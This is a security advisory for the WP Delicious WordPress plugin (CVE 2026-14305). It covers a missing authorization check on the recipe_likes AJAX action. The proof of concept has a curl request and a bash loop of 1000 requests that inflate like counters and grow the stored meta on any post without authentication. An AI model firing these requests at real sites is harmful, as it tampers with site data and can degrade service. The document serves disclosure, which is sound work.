WP Delicious < 1.10.2 – Unauthenticated Arbitrary Post Meta Update via recipe_likes | CVE 2026-14305

Description

The plugin does not perform an authorization check on one of its AJAX actions, allowing unauthenticated users to modify limited post metadata (a like counter and an associated identifier list) on arbitrary posts, including inflating the counter and growing the stored metadata without bound.

Proof of Concept

Reproduction (single unauthenticated request against any post ID on the site):

curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=recipe_likes' \
  -d 'id=<ANY_POST_ID>' \
  -d 'add_remove=add' \
  --data-urlencode 'unique_user_id=ATTACKER_TOKEN_1'

Response: {"success":true,"data":{"likes":"1 Like","likes_count":"1"}}
Effect on the target post meta:
  _recipe_likes    -> 1
  _recipe_likes_ip -> ["ATTACKER_TOKEN_1"]

Inflation / serialized-meta ballooning (each fresh unique_user_id grows the array):

for i in $(seq 1 1000); do
  curl -s -o /dev/null -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
    -d 'action=recipe_likes' -d 'id=<ANY_POST_ID>' -d 'add_remove=add' \
    --data-urlencode "unique_user_id=token-${i}"
done

The target works on any post type (blog post, page, product, etc.), not only recipes.